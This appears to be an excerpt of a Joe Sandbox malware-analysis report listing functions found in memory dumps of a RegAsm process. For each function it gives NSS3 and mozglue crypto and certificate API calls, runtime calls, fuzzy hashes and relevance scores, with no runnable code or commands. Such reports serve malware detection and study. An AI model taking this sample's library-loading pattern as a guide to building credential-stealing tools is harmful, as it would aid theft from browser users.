Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 6C4865D0 Relevance: 9.1, APIs: 6, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(-00000007), ref: 6C48660F

Part of subcall function 6C4D0BE0: malloc.MOZGLUE(6C4C8D2D,?,00000000,?), ref: 6C4D0BF8
Part of subcall function 6C4D0BE0: TlsGetValue.KERNEL32(6C4C8D2D,?,00000000,?), ref: 6C4D0C15

free.MOZGLUE(00000000), ref: 6C486660
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C48667B
SGN_DecodeDigestInfo.NSS3(?), ref: 6C48669B
SECOID_GetAlgorithmTag_Util.NSS3(-00000004), ref: 6C4866B0
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C4866C8

Part of subcall function 6C4B25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C48662E,?,?), ref: 6C4B2670
Part of subcall function 6C4B25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C48662E,?), ref: 6C4B2684
Part of subcall function 6C4B25D0: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C4B26C2
Part of subcall function 6C4B25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6C4B26E0
Part of subcall function 6C4B25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C4B26F4
Part of subcall function 6C4B25D0: PR_Unlock.NSS3(?), ref: 6C4B274D

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: UtilValue$CriticalEnterSectionUnlock$AlgorithmAlloc_Arena_DecodeDigestErrorFreeInfoTag_freemalloc
String ID:
API String ID: 2025608128-0
Opcode ID: ee3ebb20d6fab7f9db504c84cca4a3a888a63f03c672620091271035231dbcc9
Instruction ID: 7a1ff469ee9b12f77359b58e98066e27df82d614a8cb79bb86d8241a70200069
Opcode Fuzzy Hash: ee3ebb20d6fab7f9db504c84cca4a3a888a63f03c672620091271035231dbcc9
Instruction Fuzzy Hash: 21317EB5A022599BDB40DFA8D885EEE77B5AF48258F110028EC19EB700E731E904CBE1

Function 6C482E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C472D1A), ref: 6C482E7E

Part of subcall function 6C4D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C478298,?,?,?,6C46FCE5,?), ref: 6C4D07BF
Part of subcall function 6C4D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C4D07E6
Part of subcall function 6C4D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D081B
Part of subcall function 6C4D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D0825

PR_Now.NSS3 ref: 6C482EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C482EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C472D1A), ref: 6C482F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C472D1A), ref: 6C482F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C482F81

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 8682b2fc8d0834e62865409b8ed5583c8029c3b12f2c589c8e67cbe18bafb401
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: DA31E1715031018BE730C659DC48FBFB265EB80319F64097AD62997AD0EF31D88AD665

Function 6C470E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C470A2C), ref: 6C470E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C470A2C), ref: 6C470E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C470A2C), ref: 6C470E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C470A2C), ref: 6C470E90
free.MOZGLUE(00000000), ref: 6C470EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C470A2C), ref: 6C470ED9

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: a00631a15ba2942482872cb6b72413bf3a01853ef86812595407374e4a0de15d
Instruction ID: aaab6deb05cf1f27de5f81ae12faad1ec30d3399fbeda5048973e983c46ac478
Opcode Fuzzy Hash: a00631a15ba2942482872cb6b72413bf3a01853ef86812595407374e4a0de15d
Instruction Fuzzy Hash: FC212E72E0228457EB30C5665C45FEF72AEDBC1649F194035D81867B42EB62D81582F1

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041AFD6

DecodePointer.KERNEL32(0042A130,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B420
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B42A

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: b7f77734ebbf3840f36807ba88357d63e713c7e7dec9936b016044a468d43742
Instruction ID: 63863d844e937e4da23c5f373c227dc8c5909fe93770eb0c6870133be37feb4a
Opcode Fuzzy Hash: b7f77734ebbf3840f36807ba88357d63e713c7e7dec9936b016044a468d43742
Instruction Fuzzy Hash: 05314874900309DFDF109FA9C9452DEBAF1FF48314F10802BE454A6262CBB94891DFAE

Function 6C47AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C47AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C47AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C47AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C47AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C599500), ref: 6C47AF23

Part of subcall function 6C4CF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C4CF0C8
Part of subcall function 6C4CF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4CF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C47AF37

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 269004c1b0ff2aba8a83b9590b8d44f91a843efafbceb401c01fc07f95fde4f1
Instruction ID: 20fdc0824170a401db236edcbb287b091fab19a9af12f6a45205b45adc2dd042
Opcode Fuzzy Hash: 269004c1b0ff2aba8a83b9590b8d44f91a843efafbceb401c01fc07f95fde4f1
Instruction Fuzzy Hash: EE2128729092009BEB20CE189C01F9A7BA4AF85728F144319EC589B791E732D90587B7

Function 6C4FEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4FEE85
realloc.MOZGLUE(FD6DCEC7,?), ref: 6C4FEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C4FEEC5

Part of subcall function 6C4D0BE0: malloc.MOZGLUE(6C4C8D2D,?,00000000,?), ref: 6C4D0BF8
Part of subcall function 6C4D0BE0: TlsGetValue.KERNEL32(6C4C8D2D,?,00000000,?), ref: 6C4D0C15

htonl.WSOCK32(?), ref: 6C4FEEE3
htonl.WSOCK32(00000000,?), ref: 6C4FEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C4FEF01

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 2f0eef626e9d23d4c97c626db91c64e9507bb30c96329d2375e6751c23f70d33
Instruction ID: 1302c93ff6b1680c7aef7fe43cc51715aa8d106401f163ad40432445739cef57
Opcode Fuzzy Hash: 2f0eef626e9d23d4c97c626db91c64e9507bb30c96329d2375e6751c23f70d33
Instruction Fuzzy Hash: FD21B131A00224ABDB10DF28DC84F9A77A4EF85359F158129EC299B741E330ED16CBE6

Function 6C4AEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4AEE49

Part of subcall function 6C4CFAB0: free.MOZGLUE(?,-00000001,?,?,6C46F673,00000000,00000000), ref: 6C4CFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C4AEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C4AEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C4AEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C4AEEB3

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 2090b752a2e61d2734975ea89b525581cc6e927d89c02cadc493eb6653c0da40
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 552105BAA002206BEB11DE59DCC1EABB7A8EF49709F040168FD149B311E771DC2587F1

Function 6C4D2550 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6C4D2576
PORT_Alloc_Util.NSS3(00000000), ref: 6C4D2585

Part of subcall function 6C4D0BE0: malloc.MOZGLUE(6C4C8D2D,?,00000000,?), ref: 6C4D0BF8
Part of subcall function 6C4D0BE0: TlsGetValue.KERNEL32(6C4C8D2D,?,00000000,?), ref: 6C4D0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 6C4D25A1
_waccess.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 6C4D25AF
free.MOZGLUE(00000000), ref: 6C4D25BB
free.MOZGLUE(00000000), ref: 6C4D25CA

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidefree$Alloc_UtilValue_waccessmalloc
String ID:
API String ID: 3520324648-0
Opcode ID: 854c274b9a1612e6a297262202ae8d223666e6b9cda43b7b1c81877818908040
Instruction ID: b02cca0361904181ca8b231ac98de05aa663d50f6cfb558f5a4481be4b650e17
Opcode Fuzzy Hash: 854c274b9a1612e6a297262202ae8d223666e6b9cda43b7b1c81877818908040
Instruction Fuzzy Hash: C501D2B17052013BFF2076659C39E7B365CDB426B6B120124FC19CAA81EE60ED0086F1

Function 6C45C4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C45C4F0
free.MOZGLUE ref: 6C45C51A
TlsSetValue.KERNEL32 ref: 6C45C540
free.MOZGLUE ref: 6C45C557
DeleteCriticalSection.KERNEL32 ref: 6C45C56A
free.MOZGLUE ref: 6C45C576

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: fc63d0a4a2b95b86ab1098f1a7e51ab56de2df5cf7761c501f70343acd5e3c78
Instruction ID: 1d72fc3a8c0b0235fe2f69a36401e8a3c944f4e3d8d65cc3ce7e09d066dc6da4
Opcode Fuzzy Hash: fc63d0a4a2b95b86ab1098f1a7e51ab56de2df5cf7761c501f70343acd5e3c78
Instruction Fuzzy Hash: FB110D74904B148BCB10FF79C84895EBBF4FF49655F460A1DE8D687A00EB30A555CB8A

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 9cc761a24a700c336990656e08babd42fdc3626541d12aa0f7b86557c35da351
Instruction ID: 63787520114d18ae3399c837c16bfac6c494309a1b2e91ce42418771fe72ad0a
Opcode Fuzzy Hash: 9cc761a24a700c336990656e08babd42fdc3626541d12aa0f7b86557c35da351
Instruction Fuzzy Hash: DD01C431A817299BC722EB669C857DE77A0BF04794F11811BE814A7390C73C69D2CBDD

Function 6C47E520 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000,?,?,6C487F5D,00000000,00000000,?,?,?,6C4880DD), ref: 6C47E532

Part of subcall function 6C539090: TlsGetValue.KERNEL32 ref: 6C5390AB
Part of subcall function 6C539090: TlsGetValue.KERNEL32 ref: 6C5390C9
Part of subcall function 6C539090: EnterCriticalSection.KERNEL32 ref: 6C5390E5
Part of subcall function 6C539090: TlsGetValue.KERNEL32 ref: 6C539116
Part of subcall function 6C539090: LeaveCriticalSection.KERNEL32 ref: 6C53913F

PR_EnterMonitor.NSS3(6C4880DD), ref: 6C47E549

Part of subcall function 6C539090: LeaveCriticalSection.KERNEL32 ref: 6C5391AA
Part of subcall function 6C539090: TlsGetValue.KERNEL32 ref: 6C539212
Part of subcall function 6C539090: _PR_MD_WAIT_CV.NSS3 ref: 6C53926B

PR_ExitMonitor.NSS3 ref: 6C47E56D
PL_HashTableDestroy.NSS3 ref: 6C47E57B

Part of subcall function 6C47E190: PR_EnterMonitor.NSS3(?,?,6C47E175), ref: 6C47E19C
Part of subcall function 6C47E190: PR_EnterMonitor.NSS3(6C47E175), ref: 6C47E1AA
Part of subcall function 6C47E190: PR_ExitMonitor.NSS3 ref: 6C47E208
Part of subcall function 6C47E190: PL_HashTableRemove.NSS3(?), ref: 6C47E219
Part of subcall function 6C47E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C47E231
Part of subcall function 6C47E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C47E249
Part of subcall function 6C47E190: PR_ExitMonitor.NSS3 ref: 6C47E257

PR_ExitMonitor.NSS3(6C4880DD), ref: 6C47E5B5
PR_DestroyMonitor.NSS3 ref: 6C47E5C3

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Monitor$Enter$ExitValue$CriticalSection$Arena_DestroyFreeHashLeaveTableUtil$Remove
String ID:
API String ID: 3740585915-0
Opcode ID: 88c4f95bc0cf5b9f4a5d7aae103e5f56c0a73b60b368c200ecd4724cebd098b6
Instruction ID: 364a5058518f750bbfd2b07dd667516f11e02c3a0bd810cd0f05445dd482ec14
Opcode Fuzzy Hash: 88c4f95bc0cf5b9f4a5d7aae103e5f56c0a73b60b368c200ecd4724cebd098b6
Instruction Fuzzy Hash: 41011EB1E20394DAEE019B64ED81AA537B4F7C665CF022227DC0981623FB316955DB8E

Function 6C45AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C45AFDA

Strings

%s at line %d of [%.10s], xrefs: 6C45AFD3
